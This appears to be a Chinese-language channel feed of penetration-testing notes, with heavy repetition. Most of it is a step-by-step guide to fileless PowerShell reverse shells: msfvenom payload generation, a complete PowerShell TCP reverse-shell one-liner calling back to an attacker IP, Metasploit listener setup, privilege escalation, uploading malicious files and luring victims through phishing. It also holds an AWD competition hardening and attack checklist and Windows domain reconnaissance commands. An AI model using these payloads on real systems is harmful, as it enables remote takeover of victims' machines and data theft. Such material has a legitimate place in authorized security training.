BroadcastChannel
https://channel.gandli.eu.org/
https://channel.gandli.eu.org/
#无文件 #PowerShell #反向木马 #ReverseShell #Metasploit #Windows #powershell #reverse #tcp #Meterpreter #渗透测试
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.12 LPORT=4444 -e cmd/powershell_base64 -f psh-cmd > reverse.ps1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.12 LPORT=4444 -e cmd/powershell_base64 -f psh-cmd > reverse.ps1
migrate 进程迁移
getpid # 获取当前进程的pid
ps # 查看当前活跃进程
migrate <pid值> #将Meterpreter会话移植到指定pid值进程中
kill <pid值> #杀死进程
#Metasploit #Windows #powershell #Meterpreter #渗透测试
getpid # 获取当前进程的pid
ps # 查看当前活跃进程
migrate <pid值> #将Meterpreter会话移植到指定pid值进程中
kill <pid值> #杀死进程
#Metasploit #Windows #powershell #Meterpreter #渗透测试
#无文件 #PowerShell #反向木马 #ReverseShell #Metasploit #Windows #powershell #reverse #tcp #Meterpreter #渗透测试
msf6 > use exploit/multi/handler
msf6 > set payload windows/shell_reverse_tcp
> msfvenom -p windows/shell_reverse_tcp LHOST=192.168.5.229 LPORT=4444 -e cmd/powershell_base64 -f psh-cmd > reverse.ps1
1. 开启监听
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
2. 生成powershell command命令
> msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.5.229 LPORT=4444 -e cmd/powershell_base64 -f psh-cmd > reverse.ps1
3. 提权
meterpreter > getsystem #拿不到权限
meterpreter > bg
msf6 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > set session 1
msf6 post(multi/recon/local_exploit_suggester) > run
[*] 192.168.5.233 - Collecting local exploits for x86/windows...
[*] 192.168.5.233 - 196 exploit checks are being tried...
[+] 192.168.5.233 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
……
扫出可以提权的exploit,随便使用一个提权
msf6 > use exploit/multi/handler
msf6 > set payload windows/shell_reverse_tcp
> msfvenom -p windows/shell_reverse_tcp LHOST=192.168.5.229 LPORT=4444 -e cmd/powershell_base64 -f psh-cmd > reverse.ps1
1. 开启监听
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
2. 生成powershell command命令
> msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.5.229 LPORT=4444 -e cmd/powershell_base64 -f psh-cmd > reverse.ps1
3. 提权
meterpreter > getsystem #拿不到权限
meterpreter > bg
msf6 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > set session 1
msf6 post(multi/recon/local_exploit_suggester) > run
[*] 192.168.5.233 - Collecting local exploits for x86/windows...
[*] 192.168.5.233 - 196 exploit checks are being tried...
[+] 192.168.5.233 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
……
扫出可以提权的exploit,随便使用一个提权
### PowerShell Command 木马
PowerShell 是 Windows 系统内置的命令行脚本环境,因此在渗透测试中,攻击者常利用 PowerShell 脚本来执行恶意操作,而无需上传可执行文件。以下是使用 PowerShell 命令来生成和执行反向木马的一些常见步骤。
#### 1. 生成 PowerShell 反向木马命令
PowerShell 反向木马允许攻击者通过 PowerShell 执行命令来建立一个远程会话,这样可以在目标系统上执行命令、获取信息或者控制目标。
使用
例如:
这将生成一个 PowerShell 反向连接的命令,如下所示:
解释:
- `LHOST=192.168.1.100`:攻击者的 IP 地址。
- `LPORT=4444`:监听端口。
- `-f raw`:输出原始的 PowerShell 命令。
这段命令通过创建一个 TCP 客户端,连接到攻击者指定的主机和端口,并通过流将输入的 PowerShell 命令执行,然后将结果返回给攻击者。
#### 2. 启动 Metasploit 监听器
在 Metasploit 中启动 `multi/handler` 模块并监听反向连接:
- `set LHOST 192.168.1.100`:设置攻击者的 IP 地址。
- `set LPORT 4444`:设置监听的端口。
- `run`:启动监听等待目标机器的反向连接。
#### 3. 在目标系统上执行 PowerShell 命令
将上面生成的 PowerShell 反向木马命令传递给目标机器并在目标机器上执行。可以通过以下方式执行:
1. **直接在 PowerShell 中执行**:
在目标机器上打开 PowerShell 窗口并直接粘贴命令进行执行。
2. **通过社会工程学手段执行**:
通过社会工程学手段诱使目标用户执行该命令。例如,通过邮件、钓鱼网站或者在目标机器上放置一个伪装的 PowerShell 脚本,诱使用户运行。
3. **通过文件执行**:
将 PowerShell 反向木马命令保存为
#### 4. 接收反向连接
当目标机器执行 PowerShell 命令时,Metasploit 控制台将显示以下信息,表示已经成功获得目标的反向连接:
此时,你可以通过 Meterpreter 会话进行各种操作,如获取系统信息、执行命令、上传/下载文件等。
#### 5. 后续操作
通过反向连接,你可以执行一系列操作。例如,查看系统信息:
或者上传恶意文件:
#### 总结
PowerShell 反向木马是一个强大且隐蔽的攻击方式。它无需依赖可执行文件,而是通过 PowerShell 直接在目标机器上执行恶意命令。通过适当的社会工程学技巧或合法的管理工具,可以绕过防火墙和其他安全措施,进行渗透测试和攻击。
### 关键词
#PowerShell #反向木马 #ReverseShell #Metasploit #windows/powershell_reverse_tcp #Meterpreter #渗透测试
PowerShell 是 Windows 系统内置的命令行脚本环境,因此在渗透测试中,攻击者常利用 PowerShell 脚本来执行恶意操作,而无需上传可执行文件。以下是使用 PowerShell 命令来生成和执行反向木马的一些常见步骤。
#### 1. 生成 PowerShell 反向木马命令
PowerShell 反向木马允许攻击者通过 PowerShell 执行命令来建立一个远程会话,这样可以在目标系统上执行命令、获取信息或者控制目标。
使用
msfvenom 生成 PowerShell 反向木马命令:msfvenom -p windows/powershell_reverse_tcp LHOST=<攻击者IP> LPORT=<攻击者端口> -f raw例如:
msfvenom -p windows/powershell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw这将生成一个 PowerShell 反向连接的命令,如下所示:
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.1.100',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII.GetBytes($sendback2));$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"解释:
- `LHOST=192.168.1.100`:攻击者的 IP 地址。
- `LPORT=4444`:监听端口。
- `-f raw`:输出原始的 PowerShell 命令。
这段命令通过创建一个 TCP 客户端,连接到攻击者指定的主机和端口,并通过流将输入的 PowerShell 命令执行,然后将结果返回给攻击者。
#### 2. 启动 Metasploit 监听器
在 Metasploit 中启动 `multi/handler` 模块并监听反向连接:
msfconsole
use exploit/multi/handler
set payload windows/powershell_reverse_tcp
set LHOST 192.168.1.100
set LPORT 4444
run- `set LHOST 192.168.1.100`:设置攻击者的 IP 地址。
- `set LPORT 4444`:设置监听的端口。
- `run`:启动监听等待目标机器的反向连接。
#### 3. 在目标系统上执行 PowerShell 命令
将上面生成的 PowerShell 反向木马命令传递给目标机器并在目标机器上执行。可以通过以下方式执行:
1. **直接在 PowerShell 中执行**:
在目标机器上打开 PowerShell 窗口并直接粘贴命令进行执行。
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.1.100',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII.GetBytes($sendback2));$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
2. **通过社会工程学手段执行**:
通过社会工程学手段诱使目标用户执行该命令。例如,通过邮件、钓鱼网站或者在目标机器上放置一个伪装的 PowerShell 脚本,诱使用户运行。
3. **通过文件执行**:
将 PowerShell 反向木马命令保存为
.ps1 脚本文件,例如 `reverse.ps1`,然后通过以下命令执行: powershell -ExecutionPolicy Bypass -File reverse.ps1
-ExecutionPolicy Bypass 用于绕过 PowerShell 的执行策略,允许执行脚本。#### 4. 接收反向连接
当目标机器执行 PowerShell 命令时,Metasploit 控制台将显示以下信息,表示已经成功获得目标的反向连接:
[*] Started reverse TCP handler on 192.168.1.100:4444
[*] Sending stage (179779 bytes) to 192.168.5.233
[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.5.233:4444) at 2024-11-09 22:14:57 -0500此时,你可以通过 Meterpreter 会话进行各种操作,如获取系统信息、执行命令、上传/下载文件等。
#### 5. 后续操作
通过反向连接,你可以执行一系列操作。例如,查看系统信息:
sysinfo或者上传恶意文件:
upload /path/to/malicious/file C:\Users\Public\malicious.exe#### 总结
PowerShell 反向木马是一个强大且隐蔽的攻击方式。它无需依赖可执行文件,而是通过 PowerShell 直接在目标机器上执行恶意命令。通过适当的社会工程学技巧或合法的管理工具,可以绕过防火墙和其他安全措施,进行渗透测试和攻击。
### 关键词
#PowerShell #反向木马 #ReverseShell #Metasploit #windows/powershell_reverse_tcp #Meterpreter #渗透测试
### 使用 PowerShell 命令生成反向木马
在渗透测试中,有时会选择使用 PowerShell 作为载体来执行反向连接命令。这种方式不需要生成可执行文件(exe),而是利用 PowerShell 脚本直接从目标机器发起反向连接到攻击者的机器。
Metasploit 提供了一个 PowerShell 反向 shell payload,可以帮助你生成和执行这种反向木马。
#### 步骤 1:生成 PowerShell 反向连接命令
使用
1. **生成 PowerShell 反向木马命令**:
假设攻击者的 IP 地址是 `192.168.5.100`,端口是 `4444`,执行以下命令生成 PowerShell 反向 shell:
- `-p windows/powershell_reverse_tcp`:选择 PowerShell 反向连接 payload。
- `LHOST=192.168.5.100`:设置攻击者的 IP 地址。
- `LPORT=4444`:设置监听的端口。
- `-f raw`:生成原始的 PowerShell 命令。
输出将是类似这样的 PowerShell 命令:
这个命令会启动一个 PowerShell 反向连接并连接到攻击者的机器。
#### 步骤 2:设置 Metasploit 监听器
1. **启动 Metasploit 控制台并设置监听器**:
启动 Metasploit 并使用 `multi/handler` 模块来监听目标机器的反向连接。
2. **设置监听器参数**:
在 Metasploit 控制台中执行以下命令来设置监听器:
- `use exploit/multi/handler`:选择通用的处理程序。
- `set payload windows/powershell_reverse_tcp`:选择 PowerShell 反向连接 payload。
- `set LHOST 192.168.5.100`:设置攻击者的 IP 地址。
- `set LPORT 4444`:设置监听的端口。
3. **开始监听反向连接**:
执行 `run` 启动监听,等待目标执行 PowerShell 命令并反向连接。
#### 步骤 3:在目标机器上执行 PowerShell 命令
将上面生成的 PowerShell 命令复制到目标机器上并通过 PowerShell 执行。可以使用以下几种方式之一来执行:
1. **直接在 PowerShell 中执行命令**:
通过手动输入或在目标机器的 PowerShell 命令行中执行命令。
2. **通过文件执行**:
可以将该命令写入一个 PowerShell 脚本文件(例如 `reverse.ps1`),然后执行该文件:
3. **通过社会工程学**:
可以通过钓鱼邮件、社交工程等方式诱使目标用户执行该命令。
#### 步骤 4:接收反向连接
一旦目标执行 PowerShell 命令,你将会在 Metasploit 控制台中看到类似以下输出:
这意味着你已经成功获取了目标机器的 Meterpreter 会话,可以继续执行各种渗透测试任务。
#### 步骤 5:后续操作
一旦建立反向连接,你可以通过 Meterpreter 执行各种操作,如:
- 获取系统信息
- 上传/下载文件
- 执行系统命令
例如,使用以下命令获取目标机器的系统信息:
### 总结
PowerShell 反向木马是一种不依赖于上传可执行文件的反向连接方式,它通过 PowerShell 脚本直接从目标机器反向连接到攻击者机器。这种方式隐蔽性较高,且容易被利用。
### 关键词
#Metasploit #PowerShell #ReverseShell #反向木马 #Meterpreter #windows/powershell_reverse_tcp
在渗透测试中,有时会选择使用 PowerShell 作为载体来执行反向连接命令。这种方式不需要生成可执行文件(exe),而是利用 PowerShell 脚本直接从目标机器发起反向连接到攻击者的机器。
Metasploit 提供了一个 PowerShell 反向 shell payload,可以帮助你生成和执行这种反向木马。
#### 步骤 1:生成 PowerShell 反向连接命令
使用
msfvenom 来生成 PowerShell 反向连接命令,避免将恶意文件上传到目标机器,而是通过 PowerShell 直接执行命令。1. **生成 PowerShell 反向木马命令**:
假设攻击者的 IP 地址是 `192.168.5.100`,端口是 `4444`,执行以下命令生成 PowerShell 反向 shell:
msfvenom -p windows/powershell_reverse_tcp LHOST=192.168.5.100 LPORT=4444 -f raw
- `-p windows/powershell_reverse_tcp`:选择 PowerShell 反向连接 payload。
- `LHOST=192.168.5.100`:设置攻击者的 IP 地址。
- `LPORT=4444`:设置监听的端口。
- `-f raw`:生成原始的 PowerShell 命令。
输出将是类似这样的 PowerShell 命令:
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.5.100',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII.GetBytes($sendback2));$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
这个命令会启动一个 PowerShell 反向连接并连接到攻击者的机器。
#### 步骤 2:设置 Metasploit 监听器
1. **启动 Metasploit 控制台并设置监听器**:
启动 Metasploit 并使用 `multi/handler` 模块来监听目标机器的反向连接。
msfconsole
2. **设置监听器参数**:
在 Metasploit 控制台中执行以下命令来设置监听器:
use exploit/multi/handler
set payload windows/powershell_reverse_tcp
set LHOST 192.168.5.100
set LPORT 4444
run
- `use exploit/multi/handler`:选择通用的处理程序。
- `set payload windows/powershell_reverse_tcp`:选择 PowerShell 反向连接 payload。
- `set LHOST 192.168.5.100`:设置攻击者的 IP 地址。
- `set LPORT 4444`:设置监听的端口。
3. **开始监听反向连接**:
执行 `run` 启动监听,等待目标执行 PowerShell 命令并反向连接。
#### 步骤 3:在目标机器上执行 PowerShell 命令
将上面生成的 PowerShell 命令复制到目标机器上并通过 PowerShell 执行。可以使用以下几种方式之一来执行:
1. **直接在 PowerShell 中执行命令**:
通过手动输入或在目标机器的 PowerShell 命令行中执行命令。
2. **通过文件执行**:
可以将该命令写入一个 PowerShell 脚本文件(例如 `reverse.ps1`),然后执行该文件:
powershell -ExecutionPolicy Bypass -File reverse.ps1
3. **通过社会工程学**:
可以通过钓鱼邮件、社交工程等方式诱使目标用户执行该命令。
#### 步骤 4:接收反向连接
一旦目标执行 PowerShell 命令,你将会在 Metasploit 控制台中看到类似以下输出:
[*] Started reverse TCP handler on 192.168.5.100:4444
[*] Sending stage (179779 bytes) to 192.168.5.233
[*] Meterpreter session 1 opened (192.168.5.100:4444 -> 192.168.5.233:4444) at 2024-11-09 22:14:57 -0500这意味着你已经成功获取了目标机器的 Meterpreter 会话,可以继续执行各种渗透测试任务。
#### 步骤 5:后续操作
一旦建立反向连接,你可以通过 Meterpreter 执行各种操作,如:
- 获取系统信息
- 上传/下载文件
- 执行系统命令
例如,使用以下命令获取目标机器的系统信息:
sysinfo### 总结
PowerShell 反向木马是一种不依赖于上传可执行文件的反向连接方式,它通过 PowerShell 脚本直接从目标机器反向连接到攻击者机器。这种方式隐蔽性较高,且容易被利用。
### 关键词
#Metasploit #PowerShell #ReverseShell #反向木马 #Meterpreter #windows/powershell_reverse_tcp
### 在 Windows 中查看本机端口使用情况
在 Windows 上查看端口使用情况,可以使用多种工具和命令。最常用的是通过 命令提示符 中的
### 1. 使用 `netstat` 命令
#### 查看所有端口和连接状态:
- `-a`:显示所有连接和监听的端口。
- `-n`:以数字形式显示地址和端口(避免进行 DNS 解析)。
#### 查看特定端口的占用情况:
例如,查看 80 端口的占用情况:
#### 查看端口及其对应的进程:
要查看端口和对应的进程信息,可以使用:
- `-o`:显示与每个连接相关的进程 ID(PID)。
查看特定端口与进程关联:
#### 根据 PID 查找对应的程序:
通过 `netstat` 获得进程 ID(PID)后,可以在任务管理器中查找对应的进程,或者使用以下命令查看:
### 2. 使用 PowerShell
PowerShell 提供了比
#### 查看所有监听端口:
这将列出所有处于监听状态的 TCP 连接和端口。
#### 查看特定端口的占用情况:
#### 查看进程与端口映射关系:
可以结合进程 ID(OwningProcess)查找具体进程。
### 3. 使用资源监视器(Resource Monitor)
Windows 资源监视器也提供了图形界面来查看端口的使用情况。
#### 步骤:
1. 打开任务管理器:右键任务栏,选择“任务管理器”。
2. 切换到“性能”标签页。
3. 点击“打开资源监视器”。
4. 在“网络”标签页下,点击“监听端口”部分,即可查看当前所有正在监听的端口及其对应的进程。
### 4. 使用 TCPView
[TCPView](https://docs.microsoft.com/en-us/sysinternals/downloads/tcpview) 是 Sysinternals 提供的一款小工具,可以实时显示所有端口的状态,包括每个端口的详细信息,且支持排序、刷新和杀死进程。
#### 使用步骤:
1. 下载并运行 TCPView 工具。
2. 它将列出所有活动的 TCP/UDP 端口,并显示每个端口的进程和状态。
### 总结
在 Windows 上查看端口使用情况,最常见的方式是使用 `netstat`、PowerShell 或资源监视器。根据需求,你可以选择使用命令行工具或图形化工具来查看本机端口的状态,进而了解系统的网络连接和端口占用情况。
#Windows #端口 #netstat #PowerShell #TCPView #资源监视器 #任务管理器 #网络配置
在 Windows 上查看端口使用情况,可以使用多种工具和命令。最常用的是通过 命令提示符 中的
netstat 命令或者 PowerShell**,以及 **资源监视器 来查看端口的使用情况。### 1. 使用 `netstat` 命令
netstat 是一个非常常用的网络工具,可以查看当前网络连接、端口占用、以及网络统计信息。#### 查看所有端口和连接状态:
netstat -an- `-a`:显示所有连接和监听的端口。
- `-n`:以数字形式显示地址和端口(避免进行 DNS 解析)。
#### 查看特定端口的占用情况:
例如,查看 80 端口的占用情况:
netstat -an | findstr :80#### 查看端口及其对应的进程:
要查看端口和对应的进程信息,可以使用:
netstat -ano- `-o`:显示与每个连接相关的进程 ID(PID)。
查看特定端口与进程关联:
netstat -ano | findstr :80#### 根据 PID 查找对应的程序:
通过 `netstat` 获得进程 ID(PID)后,可以在任务管理器中查找对应的进程,或者使用以下命令查看:
tasklist | findstr <PID>### 2. 使用 PowerShell
PowerShell 提供了比
netstat 更强大的功能,能够轻松查看端口和进程的详细信息。#### 查看所有监听端口:
Get-NetTCPConnection | Where-Object {$_.State -eq 'Listen'}这将列出所有处于监听状态的 TCP 连接和端口。
#### 查看特定端口的占用情况:
Get-NetTCPConnection -LocalPort 80#### 查看进程与端口映射关系:
Get-NetTCPConnection | Select-Object LocalAddress,LocalPort,State,OwningProcess可以结合进程 ID(OwningProcess)查找具体进程。
### 3. 使用资源监视器(Resource Monitor)
Windows 资源监视器也提供了图形界面来查看端口的使用情况。
#### 步骤:
1. 打开任务管理器:右键任务栏,选择“任务管理器”。
2. 切换到“性能”标签页。
3. 点击“打开资源监视器”。
4. 在“网络”标签页下,点击“监听端口”部分,即可查看当前所有正在监听的端口及其对应的进程。
### 4. 使用 TCPView
[TCPView](https://docs.microsoft.com/en-us/sysinternals/downloads/tcpview) 是 Sysinternals 提供的一款小工具,可以实时显示所有端口的状态,包括每个端口的详细信息,且支持排序、刷新和杀死进程。
#### 使用步骤:
1. 下载并运行 TCPView 工具。
2. 它将列出所有活动的 TCP/UDP 端口,并显示每个端口的进程和状态。
### 总结
在 Windows 上查看端口使用情况,最常见的方式是使用 `netstat`、PowerShell 或资源监视器。根据需求,你可以选择使用命令行工具或图形化工具来查看本机端口的状态,进而了解系统的网络连接和端口占用情况。
#Windows #端口 #netstat #PowerShell #TCPView #资源监视器 #任务管理器 #网络配置
# AWD攻防赛参考思路
## 本次比赛环境
- **Windows+Linux组合模式**:
- Windows Server 2003 + Centos6.x/Ubuntu14/16.04/Ubuntu17.01
- Window7 + Centos6.x/Ubuntu14/16.04/Ubuntu17.01
- Windows Server 2008 + Centos6.x/Ubuntu14/16.04/Ubuntu17.01
## Windows加固
- **先备份**:Web源码、数据库
1. 445端口加固,开启防火墙或IP高级安全策略
2. 开启系统日志审计功能
3. 禁用guest账户、关闭文件共享
4. 确保启动项内容是可控的
5. 限制3389远程访问控制的连接数
在本地组策略编辑器中,依次展开:计算机配置 → 管理模板 → Windows组件 → 远程桌面服务 → 远程桌面会话主机 → 连接 → 限制连接的数量。
6. 使用工具监控关键目录文件:`文件操作监控.exe` /
7. 恶意代码文件查找,通过PCHunter, Monitor
8. Web目录环境查找相关可疑文件:jpg/png/rar,属性、解压
9. NTFS扫描磁盘查找隐藏的交换流数据
10. 查找系统所有账户信息,禁止非administrator账户
11. 修改Web站点管理员访问路径、默认口令、数据库口令
12. 安装WAF脚本,防护web站点,禁止其他漏洞
## Linux加固
- **先备份**:Web源码、数据库
1. 系统口令修改,团队统一口令
2. 通过`.bash_history`查找历史命令操作,发现痕迹
3. 查看计划任务:`crontab -l`;编辑计划任务:`crontab -e`
4. 查看`/etc/init.d/rc.local`中启动服务有无异常
5. 使用脚本开启进程监控、目录监控、流量监控
6. Web站点口令、站点管理员路径修改
7. 系统加固:`iptables`
- 进程线程:`netstat / ps -aux/netstat -apt`
- SSH:`w/fuser`
- 杀掉进程:`kill -9 pid`
## Mysql加固
1. 不使用默认口令,修改成复杂的,并确保和web环境连接
2. 设置只允许本地127.0.0.1账户登录
修改`bind-address=127.0.0.1`,在配置文件中加入`secure_file_priv=NULL`
3. 开启日志审计功能:`general_log_file=路径`
## Mssql加固
1. 删除不必要的账号
2. SQLServer用户口令安全
3. 根据用户分配帐号避免帐号共享
4. 分配数据库用户所需的最小权限
5. 网络访问限制
6. SQLServer登录审计
7. SQLServer安全事件审计
8. 配置日志功能
## 攻击准备
1. 各类CMS软件包最新版准备
2. 扫描工具:`nmap`、`nessus`、`metasploit`更新
3. 漏洞利用脚本:`poc`、`exp`
## Kali更新,解决签名问题:
## Windows提权
-
-
## Linux提权
- CVE-2017-6074 (DCCP双重释放漏洞 > 2.6.18)
- CVE-2016-5195(脏牛,kernel 2.6.22 < 3.9 (x86/x64))
- CVE-2016-8655(Ubuntu 12.04、14.04,Debian 7、8)
- CVE-2017-1000367(sudo本地提权漏洞)
- CVE-2016-1247(Nginx权限提升漏洞)
- CVE-2017-16995(Ubuntu16.04 kernel:4.14-4.4)
## 中间件服务器
- IIS
- Apache
- JBoss
- MySQL
- Nginx
- Tomcat
- WebLogic
## 集成服务环境
- WAMPServer
- XAMPPServer
## CMS列表参考
- 下载最新版本+每个CMS对应的漏洞poc、exp工具脚本文章,之后汇总:
- Apache
- ASPCMS
- Dedecms
- Dicuz
- Drupal
- EmpireCMS
- Eshop
- FineCMS
- Joomla
- LAMP
- Metainfo
- Nginx
- Phpcms
- Phpwind
- Qibocms
- Seacms
- Semcms
- Tomcat
- Wolfcms
- Wordpress
- Zabbix
## 参考链接
- [FreeBuf](http://freebuf.com/)
- [Huseck GitHub](https://github.com/Huseck)
- [Seebug](https://www.seebug.org/)
- [安全客](https://www.anquanke.com/)
- [Exploit-DB](https://www.exploit-db.com/)
- [Bugscan](http://www.bugscan.net/source/template/vulns/)
#AWD攻防赛 #加固策略 #Windows #Linux #MySQL #MSSQL #提权 #CMS #漏洞扫描 #安全工具
## 本次比赛环境
- **Windows+Linux组合模式**:
- Windows Server 2003 + Centos6.x/Ubuntu14/16.04/Ubuntu17.01
- Window7 + Centos6.x/Ubuntu14/16.04/Ubuntu17.01
- Windows Server 2008 + Centos6.x/Ubuntu14/16.04/Ubuntu17.01
## Windows加固
- **先备份**:Web源码、数据库
1. 445端口加固,开启防火墙或IP高级安全策略
2. 开启系统日志审计功能
3. 禁用guest账户、关闭文件共享
4. 确保启动项内容是可控的
5. 限制3389远程访问控制的连接数
在本地组策略编辑器中,依次展开:计算机配置 → 管理模板 → Windows组件 → 远程桌面服务 → 远程桌面会话主机 → 连接 → 限制连接的数量。
6. 使用工具监控关键目录文件:`文件操作监控.exe` /
御剑文件监控.exe7. 恶意代码文件查找,通过PCHunter, Monitor
8. Web目录环境查找相关可疑文件:jpg/png/rar,属性、解压
9. NTFS扫描磁盘查找隐藏的交换流数据
10. 查找系统所有账户信息,禁止非administrator账户
11. 修改Web站点管理员访问路径、默认口令、数据库口令
12. 安装WAF脚本,防护web站点,禁止其他漏洞
## Linux加固
- **先备份**:Web源码、数据库
1. 系统口令修改,团队统一口令
2. 通过`.bash_history`查找历史命令操作,发现痕迹
3. 查看计划任务:`crontab -l`;编辑计划任务:`crontab -e`
4. 查看`/etc/init.d/rc.local`中启动服务有无异常
5. 使用脚本开启进程监控、目录监控、流量监控
6. Web站点口令、站点管理员路径修改
7. 系统加固:`iptables`
- 进程线程:`netstat / ps -aux/netstat -apt`
- SSH:`w/fuser`
- 杀掉进程:`kill -9 pid`
## Mysql加固
1. 不使用默认口令,修改成复杂的,并确保和web环境连接
2. 设置只允许本地127.0.0.1账户登录
修改`bind-address=127.0.0.1`,在配置文件中加入`secure_file_priv=NULL`
3. 开启日志审计功能:`general_log_file=路径`
## Mssql加固
1. 删除不必要的账号
2. SQLServer用户口令安全
3. 根据用户分配帐号避免帐号共享
4. 分配数据库用户所需的最小权限
5. 网络访问限制
6. SQLServer登录审计
7. SQLServer安全事件审计
8. 配置日志功能
## 攻击准备
1. 各类CMS软件包最新版准备
2. 扫描工具:`nmap`、`nessus`、`metasploit`更新
3. 漏洞利用脚本:`poc`、`exp`
## Kali更新,解决签名问题:
wget -q -O - https://archive.kali.org/archive-key.asc | apt-key add
uname -a
cat /proc/version## Windows提权
-
ms17-017-
ms17-010## Linux提权
- CVE-2017-6074 (DCCP双重释放漏洞 > 2.6.18)
- CVE-2016-5195(脏牛,kernel 2.6.22 < 3.9 (x86/x64))
- CVE-2016-8655(Ubuntu 12.04、14.04,Debian 7、8)
- CVE-2017-1000367(sudo本地提权漏洞)
- CVE-2016-1247(Nginx权限提升漏洞)
- CVE-2017-16995(Ubuntu16.04 kernel:4.14-4.4)
## 中间件服务器
- IIS
- Apache
- JBoss
- MySQL
- Nginx
- Tomcat
- WebLogic
## 集成服务环境
- WAMPServer
- XAMPPServer
## CMS列表参考
- 下载最新版本+每个CMS对应的漏洞poc、exp工具脚本文章,之后汇总:
- Apache
- ASPCMS
- Dedecms
- Dicuz
- Drupal
- EmpireCMS
- Eshop
- FineCMS
- Joomla
- LAMP
- Metainfo
- Nginx
- Phpcms
- Phpwind
- Qibocms
- Seacms
- Semcms
- Tomcat
- Wolfcms
- Wordpress
- Zabbix
## 参考链接
- [FreeBuf](http://freebuf.com/)
- [Huseck GitHub](https://github.com/Huseck)
- [Seebug](https://www.seebug.org/)
- [安全客](https://www.anquanke.com/)
- [Exploit-DB](https://www.exploit-db.com/)
- [Bugscan](http://www.bugscan.net/source/template/vulns/)
#AWD攻防赛 #加固策略 #Windows #Linux #MySQL #MSSQL #提权 #CMS #漏洞扫描 #安全工具
Windows 内网信息收集命令
| 分类 | 命令 | 用途 |
|--------------|--------------------------------------------|--------------------------------------|
| 网络和接口信息 |
| |
| |
| |
| |
| |
| 用户和权限信息 |
| |
| |
| 共享和组信息 |
| |
| |
| |
| |
| |
| 系统和进程信息 |
| |
| |
#Windows #内网信息收集 #命令分类
| 分类 | 命令 | 用途 |
|--------------|--------------------------------------------|--------------------------------------|
| 网络和接口信息 |
ipconfig /all | 显示所有网络接口的详细信息 || |
ipconfig /displaydns | 显示本地的 DNS 缓存 || |
netstat -r | 显示路由表 || |
netstat -bnao | 列出所有活动的端口及连接状态 || |
netsh firewall show config | 查看防火墙配置 || |
netsh advfirewall firewall show rule name=all | 显示所有高级防火墙规则 || 用户和权限信息 |
whoami /all | 列出当前用户的用户名、组名和权限 || |
net user /domain | 列出域内所有用户 || |
net accounts /domain | 显示域密码策略 || 共享和组信息 |
net share | 显示当前的共享文件夹 || |
net view /domain | 列出所有域名 || |
net group /domain | 列出域里的组 || |
net group "domain computers" /domain | 列出域内所有主机 || |
net group "domain admins" /domain | 列出域管理员 || |
net group "enterprise admins" /domain | 列出企业管理员组 || 系统和进程信息 |
systeminfo | 查看系统版本、补丁等详细信息 || |
wmic | 查看系统信息(如硬件、服务等) || |
tasklist | 列出所有当前运行的进程 |#Windows #内网信息收集 #命令分类